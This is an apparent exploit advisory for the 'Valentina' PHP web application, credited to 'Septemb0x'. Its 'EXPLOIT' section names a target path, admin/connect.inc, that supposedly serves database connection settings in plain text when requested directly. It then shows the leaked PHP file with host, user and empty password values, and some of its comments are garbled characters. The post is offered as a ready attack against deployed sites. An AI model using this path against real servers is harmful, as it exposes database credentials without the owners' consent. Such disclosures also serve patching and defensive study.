< ------------------- header data start ------------------- >
############################################################
# Application Name : Valentina
# Vulnerable Type : Arbitrary Database Config Disclosure Vulnerability
# Infection : SQL Info Get...
# author : Septemb0x
# Script Down.& WebSite : http://s2.dosya.tc/valentina.zip.html - http://www.valya.ru
############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
EXPLOIT :
http://target/path/admin/connect.inc
GET TO;
<?
$DB_HOST = localhost; // ��������� ���� ������
$DB_USER = root; // ��� ������������ ����
$DB_pass = ; // ������
$DB_NAME = root; // ��� ����
mysql_connect($DB_HOST,$DB_USER,$DB_pass) or die (mysql_error());
mysql_select_db($DB_NAME) or die (mysql_error());
?>
< -- bug code end of -- >